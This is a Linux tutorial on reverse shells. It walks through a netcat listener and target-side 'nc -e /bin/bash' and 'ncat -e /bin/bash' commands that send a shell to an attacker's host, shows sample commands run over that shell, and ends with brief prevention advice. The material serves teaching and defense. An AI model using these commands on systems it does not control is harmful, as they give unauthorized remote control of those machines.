In this tutorial, you will learn the basics of reverse shells and how to setup one on your Linux machine, and then we’ll discuss ways to prevent it.

This guide requires you to understand the basic networking client-server model where there is a listening port (server) to listen to the incoming connections and a client to perform a connection to the server.

Before proceeding further, let’s first know a brief introduction to reverse shells.

Learn also: Port Scanning with Nmap.

What is a Reverse Shell

A reverse shell, also known as a connect-back shell, is a remote shell established on a connection triggered from a remote machine instead of the attacker’s host. Hackers who succeed in exploiting arbitrary command execution vulnerabilities can leverage a reverse shell to get an interactive shell session on the remote machine and continue their attacks.

Hackers generally aim to get interactive shell access for remote command execution to hack a compromised system. By accessing such a system, they try to uphold their privileges to gain control over the system. However, many systems have firewalls, and it’s impossible to make direct remote shell connections. A reverse shell is one of the methods used to overcome this limitation. It is a way to gain access across a firewall or NAT.

How does a Reverse Shell Work

For establishing a typical remote shell, the attacker’s machine is connected to the remote network host and requests a shell session called bind shell. What if the remote network host is not accessible directly because it is protected by a firewall or it has no public IP? A reverse shell is used in this situation, where the target machine triggers an outgoing connection to the listening network, and a reverse shell session is established.

A reverse shell is generally used to perform remote maintenance on the host machine behind a firewall or NAT for legitimate administrative uses. Moreover, it can also be used by hackers to run operating system commands on host machines protected against firewall connections or network security systems.

The primary reason why cybercriminals often use reverse shells is that most firewalls are configured. For example, a committed web server only accepts connection requests on ports 80 and 443. That means it’s impossible to establish a reverse shell listener on the targeted server. All that an attacker needs is a machine with a public IP and a tool like netcat to create a listener and give shell access to it.

Let’s see how to create a reverse shell in Linux with netcat.

Setting up a Reverse Shell

Netcat is a command can be used to create reverse shells in Linux. It is used for port listening, port checking, port redirection, and also for network testing. Netcat can be stated as a network utility that is used to read and write from TCP and UDP connections. You can set up and take down connections with netcat binaries on any machine that can act as a client or server to communicate with other machines.

In network security, netcat is used to move files to or from a compromised host. It can also be used to access a shell or command prompt on a compromised system. This remote shell access might take the form of a reverse shell. In this section, we’ll learn how to create a Reverse Shell in Linux using netcat. Let’s get started!

Setting up a Listener

The first step in creating a reverse shell is to set up a listener in the hacker’s machine to act as a server for listening to the incoming connection. Here is the command you can use to start listening

$ nc -nlvp 8888

You can replace port number 8888 with the port on which you want to receive the connection, as it will start the listener on the defined port.

Connecting to the Listener in the Target Machine

After setting up the listener, let’s execute a basic payload at the target machine to gain a reverse shell in the listener:

$ nc -e /bin/bash [IP] [Port number]
$ nc -e /bin/bash 128.0.0.1 8888

You can replace the IP address and port number according to the host IP of the attacker and the attacker’s port. It will give a reverse shell to the hacker that he could use to run any command.

If the above command throws an error about the parameter -e, then you need to install Nmap variant of netcat, as there are multiple variants of the same program:

$ apt install ncat

Output:

Reading package lists... Done
Building dependency tree
Reading state information... Done
The following additional packages will be installed:
  liblua5.3-0
The following NEW packages will be installed:
  liblua5.3-0 ncat
0 upgraded, 2 newly installed, 0 to remove and 82 not upgraded.
Need to get 223 kB of archives.
After this operation, 778 kB of additional disk space will be used.
Do you want to continue? [Y/n] y
<SNIPPED>
Setting up ncat (7.80+dfsg1-2build1) ...
Processing triggers for man-db (2.9.1-1) ...
Processing triggers for libc-bin (2.31-0ubuntu9.1) ...

Now you have the Nmap version of netcat, let’s execute the command again, this time with ncat, instead of nc command:

$ ncat -e /bin/bash 128.0.0.1 8888

Now that you have setup both sides, go back to the listener (attacker’s machine), you’ll notice a new connection has been established successfully:

Listening on 0.0.0.0 8888
Connection received on 127.0.0.1 47900

This means that there is a connection and we can start executing commands, here is an example execution:

pwd
/root
uname -r
5.3.0-kali3-amd64
cat /proc/cpuinfo | head
processor       : 0
vendor_id       : GenuineIntel
cpu family      : 6
model           : 58
model name      : Intel(R) Core(TM) i5-3450 CPU @ 3.10GHz
stepping        : 9
microcode       : 0x21
cpu MHz         : 3385.534
cache size      : 6144 KB
physical id     : 0

First, I executed pwd command, and got /root as output, then uname -r to get the OS version, and tried to get the CPU info, as you can see, you basically can execute any bash command you want!

If you back to the victim’s machine, nothing is happening and it’s not generating any output.

Note that if you want to execute this on a remote server, you can. However, the port in which you want to enable should be accessible and not blocked by the firewall, the following command should allow it:

$ ufw allow 8888

Of course, in the target machine, you must specify the public IP address of the remote server in order to connect successfully.

Related: How to Capture Packets using Tcpdump.

Reverse Shell Prevention

A reverse shell is not malicious on its own, and it can be used for legitimate purposes, such as for remote server administration. But unfortunately, there is no reliable way to block reverse shell connection networked systems, particularly servers. Here are some ways to mitigate the risk and prevent reverse shell attacks:

  • Impose strict control over the outgoing connections. Although, it’s possible for specialized servers, and attackers can easily open a listener on a port, such as port 80. But you can achieve this through sandboxing or by setting up a proxy server with highly controlled destination limitations.
  • To mitigate the risk of attack, you may remove unnecessary tools to prevent the execution of some reverse shellcodes. However, it’s not a practical approach except for most specialized and hardened servers.

Even if you succeed in preventing reverse shells, hackers can use other methods to get control over the system, such as they can use web shells.

A reverse shell is a result of some other attacks, like SQL injection. Once a hacker can execute the OS commands, the system becomes vulnerable and gets compromised. Prevent exploitation in the first place if you want reverse shell protection.

Shell scripts are usually executed by utilizing a code injection vulnerability. It’s important to patch the servers and web applications regularly and test them to avoid such kinds of vulnerabilities.